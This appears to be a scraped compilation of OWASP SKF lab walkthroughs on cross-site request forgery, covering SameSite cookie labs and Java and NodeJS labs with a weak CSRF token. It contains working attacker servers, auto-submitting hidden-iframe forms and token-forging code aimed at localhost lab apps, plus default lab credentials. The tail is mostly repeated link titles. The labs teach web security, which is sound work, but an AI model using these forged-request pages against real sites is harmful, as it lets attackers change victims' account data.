$ sudo docker pull blabla1337/owasp-skf-lab:js-csrf-samesite
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-csrf-samesite
from flask import Flask, request, url_for, render_template, redirect, make_response
import requests


app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip install flask
$ pip install requests
$ python app.py
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://localhost:5000/update' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='color' value='Hackzord!'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
$ python app.py
http://127.0.0.1:1337/
Set-Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.EF0EsA.9BZ_v9-AKp7lPsL1NV9xOECWMog;
HttpOnly; Path=/; SameSite=Strict

Strict

Cookie will be only sent with same-site requests.

Lax

Cookie will be sent with same-site requests and, also, with cross-site-requests generated after top-level navigation (by clicking on a link) that are not CSRF-prone.

None

Cookies will always be sent with cross-site-requests.

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 9984
ETag: W/"2700-XLKwfZAg6K8+ArLqr+pk2iJJdQs"
Set-Cookie: session=eyJ1c2VySWQiOjEsImxvZ2dlZEluIjp0cnVlLCJjb2xvciI6IkhhY2t6b3JkISJ9; path=/; expires=Wed, 28 Dec 2022 12:22:46 GMT; samesite=strict; httponly
Date: Tue, 27 Dec 2022 12:22:46 GMT
Connection: close
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 9978
ETag: W/"26fa-NKJ7T6eB30XMshkzLKHgWLzOjXE"
Set-Cookie: session=eyJ1c2VySWQiOjEsImxvZ2dlZEluIjp0cnVlLCJjb2xvciI6InJlZCJ9; path=/; expires=Wed, 28 Dec 2022 12:30:32 GMT; samesite=lax; httponly
Date: Tue, 27 Dec 2022 12:30:32 GMT
Connection: close
<a href="http://localhost:5000/update?color=Hackzord%21">Try with GET method</a>
$ sudo docker pull blabla1337/owasp-skf-lab:csrf-samesite
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:csrf-samesite
from flask import Flask, request, url_for, render_template, redirect, make_response
import requests


app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    return render_template("evil.html")

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)
$ pip install flask
$ pip install requests
$ python app.py
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://localhost:5000/update' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='color' value='Hackzord!'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
$ python app.py
http://localhost:1337/
Set-Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.EF0EsA.9BZ_v9-AKp7lPsL1NV9xOECWMog;
HttpOnly; Path=/; SameSite=Strict

Strict

Cookie will be only sent with same-site requests.

Lax

Cookie will be sent with same-site requests and, also, with cross-site-requests generated after top-level navigation (by clicking on a link) that are not CSRF-prone.

None

Cookies will always be sent with cross-site-requests.

HTTP/2 200 OK
Date: Thu, 15 Dec 2022 16:37:23 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9814
Vary: Cookie
Set-Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.Y5tNQw.-850YD5hq2X32W_IT4eCDN0uGfY; HttpOnly; Path=/; SameSite=Strict
Strict-Transport-Security: max-age=15724800; includeSubDomains
HTTP/2 200 OK
Date: Thu, 15 Dec 2022 17:14:21 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9814
Vary: Cookie
Set-Cookie: session=eyJsb2dnZWRpbiI6dHJ1ZSwidXNlcklkIjoxfQ.Y5tV7Q.Ky4RQZEZA4s0-C0d-GcI_hzq9Us;
HttpOnly; Path=/; SameSite=Lax
Strict-Transport-Security: max-age=15724800; includeSubDomains
<a href="http://localhost:5000/update?color=Hackzord%21">Try with GET method</a>

Java - CSRF-Weak

Running the app on Docker

$ sudo docker pull blabla1337/owasp-skf-lab:java-csrf-weak
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:java-csrf-weak

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the attacker and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

username : admin
password: admin

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is using a csrf_token

<form method="post" action="/update">
  <input
    type="hidden"
    class="form-control"
    name="csrf_token"
    th:value="${csrfToken}"
  /><br />
  <input
    type="text"
    class="form-control"
    name="color"
    placeholder="favorite color"
  /><br />
  <button class="btn btn-primary" type="submit">Submit Button</button>
</form>

Looks like it's Base64 encoded, try decode it.

The csrf token is simply username + time.

Checking the application code we can how this csrf_token is being implemented.

public String newCsrfToken(HttpServletRequest request){
        String csrfToken =  request.getSession().getAttribute("username") + String.valueOf(LocalDateTime.now().getHour()) +":"+ String.valueOf(LocalDateTime.now().getMinute());
        csrfToken = Base64.getEncoder().encodeToString(csrfToken.getBytes());
        request.getSession().setAttribute("csrfToken",csrfToken);
        return csrfToken;
      }

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from and sending the weak csrf_token with. We could achieve this by creating the following express application:

import base64
from time import localtime, strftime
from flask import Flask, request, url_for, render_template, redirect, make_response

app = Flask(__name__, static_url_path='/static', static_folder='static')

app.config['DEBUG'] = True

@app.route("/")
def start():
    time = strftime("%H:%M", localtime())
    csrf = "admin" + time
    csrf_raw = base64.b64encode(csrf.encode())
    csrf_token = str(csrf_raw, 'utf-8')
    return render_template("evil.html", csrf_token = csrf_token)

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=1337)

Save the snippet above to > evil_server.py and run the commands below to install some dependencies.

$ pip3 install flask

Of course you can also run your app on whatever service you want it does not have to be python flask.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

<iframe style="display:none" name="csrf-frame"></iframe>
<form
  method="POST"
  action="http://localhost:5000/update"
  target="csrf-frame"
  id="csrf-form"
>
  <input type="hidden" name="color" value="Hackzord!" />
  <input
    type="hidden"
    name="csrf_token"
    value="

<div data-gb-custom-block data-tag="autoescape" data-0='true'>{{csrf_token}}</div>

"
  />
  <input type="submit" value="submit" />
</form>
<script>
  document.getElementById("csrf-form").submit();
</script>

Save the snippet above to > templates/evil.html and run the command below to start our evil application.

$ python3 evil_server.py

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

http://localhost:1337/

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from and we have our forged csrf_token with the request.

Also when we refresh the original page of the application we can see that the new vaulue has been replaced with the content of our evil app.

Additional sources

NodeJS - CSRF-Weak

Running the app on Docker

Now that the app is running let's go hacking!

Reconnaissance

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the attacker and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change / data mutation on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

Lets start the application and login with the default credentials.

When we are loggedin to the application we can see that we can set our favorite color and this will be stored in the session of the user.

If we inspect the request with an intercepting proxy we can see that the application is performing a POST request that results in a data mutation, storing our favorite color into the session of the user and displaying this back to the user in the HTML website.

Also we can see that the application is using a csrf_token

Looks like it's Base64 encoded, let's first decoded the URL-encoded format then base64 decode:

The csrf token is simply username + time.

Checking the application code we can how this csrf_token is being implemented.

Exploitation

In order to to exploit this vulnerability we need to set up our evil webserver to do the malicious CSRF using a POST request from and sending the weak csrf_token with. We could achieve this by creating the following express application:

Save the snippet above to > evil_server.js and run the commands below to install some dependencies.

Of course you can also run your app on whatever service you want it does not have to be nodejs express.

Now that the service is running we want to serve the malicious piece of javascript that is responsible for performing the malicious CSRF POST request.

Save the snippet above to > views/evil.ejs and run the command below to start our evil application.

Now when we have in the browser tab our active session of the application we can open a new tab where we will load our evil page we just created.

This will now create a POST request to the application and changing the value of blue to the new value of 'Hackzord!' As you can see the Referer is set to our evil website where the request originated from and we have our forged csrf_token with the request.

Also when we refresh the original page of the application we can see that the new vaulue has been replaced with the content of our evil app.

Additional sources

$ sudo docker pull blabla1337/owasp-skf-lab:js-csrf-weak
$ sudo docker run -ti -p 127.0.0.1:5000:5000 blabla1337/owasp-skf-lab:js-csrf-weak
username : admin
password: admin
    <form method="post" action="/update">
        <input type="hidden" class="form-control" name="csrf_token" value="<%=csrf_token %>">
        <input type="text" class="form-control" name="color" placeholder="favorite color"/><br/>
        <button class="btn btn-primary" type="submit">Submit Button</button></div>
    </form>
  const username = req.body.username;
  const password = req.body.password;
  const sql = "SELECT * FROM users WHERE username = ? AND password = ?";
  db.get(sql, [username, password], (err, row) => {
    if (row) {
      const date = new Date();
      const time = date.getHours() + ":" + date.getMinutes();
      let csrf_token = username + time;
      session = req.session;
      session.userId = row.UserId;
      session.loggedIn = true;
      session.csrf_token = Buffer.from(csrf_token).toString("base64");
const express = require("express");
const app = express();

app.use(express.static(__dirname + "/static"));
app.use(express.urlencoded({ extended: true }));

app.get("", (req, res) => {
  const date = new Date();
  const time = date.getHours() + ":" + date.getMinutes();
  const csrf_token = "admin" + time;
  const encoded_csrf_token = Buffer.from(csrf_token).toString("base64");
  res.render("evil.ejs", { csrf_token: encoded_csrf_token });
});

const port = process.env.PORT || 1337;

app.listen(port, "0.0.0.0", () =>
  console.log(`Listening on port ${port}...!!!`)
);
$ npm install express ejs
<iframe style="display:none" name="csrf-frame"></iframe>
<form
  method="POST"
  action="http://localhost:5000/update"
  target="csrf-frame"
  id="csrf-form"
>
  <input type="hidden" name="csrf_token" value="<%= csrf_token %>" />
  <input type="hidden" name="color" value="Hackzord!" />
  <input type="submit" value="submit" />
</form>
<script>
  document.getElementById("csrf-form").submit();
</script>
$ node evil_server.js
http://localhost:1337/

CSS Injection (CSSI)

WSTG - Latest | OWASP Foundation
WSTG - Latest | OWASP Foundation
WSTG - Latest | OWASP Foundation
WSTG - Latest | OWASP Foundation
WSTG - Latest | OWASP Foundation
WSTG - Latest | OWASP Foundation
WSTG - Latest | OWASP Foundation
WSTG - Latest | OWASP Foundation
WSTG - Latest | OWASP Foundation
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
OWASP Top Ten 2017 | A5:2017-Broken Access Control | OWASP Foundation
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Deserialization - OWASP Cheat Sheet Series
Deserialization - OWASP Cheat Sheet Series
Deserialization - OWASP Cheat Sheet Series
OWASP Top Ten Proactive Controls 2018 | C5: Validate All Inputs | OWASP Foundation
OWASP Top Ten Proactive Controls 2018 | C5: Validate All Inputs | OWASP Foundation
OWASP Top Ten Proactive Controls 2018 | C5: Validate All Inputs | OWASP Foundation
OWASP Top Ten Proactive Controls 2018 | C5: Validate All Inputs | OWASP Foundation
Logo
Logo
Logo
Logo
XSS without HTML: Client-Side Template Injection with AngularJSPortSwigger Research
Logo
CWE - CWE-602: Client-Side Enforcement of Server-Side Security (4.6)
CWE - CWE-602: Client-Side Enforcement of Server-Side Security (4.6)
Logo
Logo
AngularJS
AngularJS
AngularJS
Logo
Logo
Logo
DOM based AngularJS sandbox escapesPortSwigger Research
DOM based AngularJS sandbox escapesPortSwigger Research
DOM based AngularJS sandbox escapesPortSwigger Research
Logo
Logo
Logo
Command Injection | OWASP Foundation
Command Injection | OWASP Foundation
Command Injection | OWASP Foundation
Command Injection | OWASP Foundation
Command Injection | OWASP Foundation
Logo
Logo
Logo
Logo
Logo
Content Security Policy | OWASP Foundation
Logo
OS Command Injection Defense - OWASP Cheat Sheet Series
OS Command Injection Defense - OWASP Cheat Sheet Series
OS Command Injection Defense - OWASP Cheat Sheet Series
OS Command Injection Defense - OWASP Cheat Sheet Series
OS Command Injection Defense - OWASP Cheat Sheet Series
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)www.owasp.org
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)www.owasp.org
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)www.owasp.org
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)www.owasp.org
EJS -- Embedded JavaScript templates
EJS -- Embedded JavaScript templates
https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)www.owasp.org
EJS -- Embedded JavaScript templates
EJS -- Embedded JavaScript templates
EJS -- Embedded JavaScript templates
Logo
Logo
Logo
Logo
Logo
https://www.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)www.owasp.org
https://www.owasp.org/index.php/Testing_for_User_Enumeration_and_Guessable_User_Account_(OWASP-AT-002)www.owasp.org
Cross Site Scripting (XSS) Software Attack | OWASP Foundation
Cross Site Scripting (XSS) Software Attack | OWASP Foundation
Logo
Logo
SameSite | OWASP Foundation
SameSite | OWASP Foundation
Logo
Logo
https://owasp.org/www-community/attacks/XSS-attribute/owasp.org
https://owasp.org/www-community/attacks/XSS-url/owasp.org
https://owasp.org/www-community/attacks/XSS-DOM/owasp.org
https://owasp.org/www-community/attacks/XSS-DOM/owasp.org
https://owasp.org/www-community/attacks/XSS-DOM/owasp.org
Cross Site Request Forgery (CSRF) | OWASP Foundation
Cross Site Request Forgery (CSRF) | OWASP Foundation
Cross Site Request Forgery (CSRF) | OWASP Foundation
Cross Site Request Forgery (CSRF) | OWASP Foundation
Cross Site Request Forgery (CSRF) | OWASP Foundation
Cross Site Request Forgery (CSRF) | OWASP Foundation
Logo
Logo
Logo
Logo
Logo
Logo
https://owasp.org/www-community/attacks/XSS-DOM-2/owasp.org
https://owasp.org/www-community/attacks/XSS-DOM-2/owasp.org
https://owasp.org/www-community/attacks/XSS-DOM-2/owasp.org
Logo
npm: cookie-sessionnpm
npm: cookie-sessionnpm
Logo
SameSite cookies - HTTP | MDN
SameSite cookies - HTTP | MDN
Logo
Logo
Logo
Cross Site Request Forgery (CSRF) | OWASP Foundation
Cross Site Request Forgery (CSRF) | OWASP Foundation
Cross Site Request Forgery (CSRF) | OWASP Foundation
Logo
Logo
Logo
Logo
Logo
Can I use... Support tables for HTML5, CSS3, etc
Browser support
draft-west-first-party-cookies-07
Browser support
SameSite cookies explainedweb.dev
Browser support
https://www.owasp.org/index.php/SameSitewww.owasp.org
Logo
Logo
Logo
Logo
Logo
Logo
Logo
Logo